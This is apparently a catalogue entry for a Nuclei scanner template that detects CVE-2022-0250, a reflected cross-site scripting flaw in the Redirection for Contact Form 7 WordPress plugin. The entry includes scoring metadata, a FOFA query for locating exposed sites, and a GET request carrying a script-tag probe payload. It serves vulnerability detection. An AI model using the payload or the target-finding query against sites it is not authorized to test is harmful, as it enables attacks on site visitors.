CVE-2022-0250: Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting
- Template: CVE-2022-0250
- Name: Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting
- Description: The Redirection for Contact Form 7 WordPress plugin before 2.5.0 does not escape a link generated before outputting it in an attribute, leading to a Reflected Cross-Site Scripting.
- Impact: Allows attackers to execute malicious scripts in the context of a user's browser session
- Remediation: Update Redirection for Contact Form 7 Plugin to the latest version to mitigate CVE-2022-0250
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2022, wordpress, wp, wp-plugin, wpcf7, contact-form7, xss, vuln
- References: https://wpscan.com/vulnerability/05700942-3143-4978-89eb-814ceff74867, https://nvd.nist.gov/vuln/detail/CVE-2022-0250
- Cves: CVE-2022-0250
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-0250.yaml
- Digest: 4a0a00473045022100bc2a7062982b8aa2455aa3a3457a9c193158bbeb4c7d1587a5d2601dcb7e7f3802206123dc0bd9f661e563d480a601a80569ec1bab59a40a70335da0fee878d0f840
- Created at: 2024-12-02T11:34:44Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 722
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0250.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01603
- Epss percentile: 0.76467
- Cpe: cpe:2.3:a:redirection-for-contact-form7:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
Metadata
- Fofa-query: body="/wp-content/plugins/wpcf7-redirect"
- Framework: wordpress
- Max-request: 1
- Product: redirection_for_contact_form_7
- Vendor: redirection-for-contact-form7
- Verifiedl: yes
Products
| Product | Indexed | Url |
|---|---|---|
| redirection-for-contact-form7:redirection_for_contact_form_7 | yes | /v1/products/redirection-for-contact-form7/redirection_for_contact_form_7 |
Labels
- Name: Contact Form 7 - Reflected XSS
- Impact: Attackers can execute malicious scripts in the context of the affected website, potentially leading to session hijacking or defacement.
- Remediation: Update to version 2.5.0 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs victim to click a malicious link
- Labels source: projectdiscovery
- From cve: CVE-2022-0250
```yaml
id: CVE-2022-0250
info:
name: Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The Redirection for Contact Form 7 WordPress plugin before 2.5.0 does not escape a link generated before outputting it in an attribute, leading to a Reflected Cross-Site Scripting.
impact: |
Allows attackers to execute malicious scripts in the context of a user's browser session
remediation: |
Update Redirection for Contact Form 7 Plugin to the latest version to mitigate CVE-2022-0250
reference:
- https://wpscan.com/vulnerability/05700942-3143-4978-89eb-814ceff74867
- https://nvd.nist.gov/vuln/detail/CVE-2022-0250
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0250
cwe-id: CWE-79
epss-score: 0.01603
epss-percentile: 0.76467
cpe: cpe:2.3:a:redirection-for-contact-form7:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
metadata:
verifiedl: true
max-request: 1
vendor: redirection-for-contact-form7
product: redirection_for_contact_form_7
framework: wordpress
fofa-query: body="/wp-content/plugins/wpcf7-redirect"
tags: cve,cve2022,wordpress,wp,wp-plugin,wpcf7,contact-form7,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin.php?page=Accessibility&%22%3E%3Cscript%3Ealert%28%22document_domain%22%29%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Key Characters: "><script>alert("document_domain")</script>'
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
digest: 4a0a00473045022100bc2a7062982b8aa2455aa3a3457a9c193158bbeb4c7d1587a5d2601dcb7e7f3802206123dc0bd9f661e563d480a601a80569ec1bab59a40a70335da0fee878d0f840:922c64590222798bb761d5b6d8e72950
```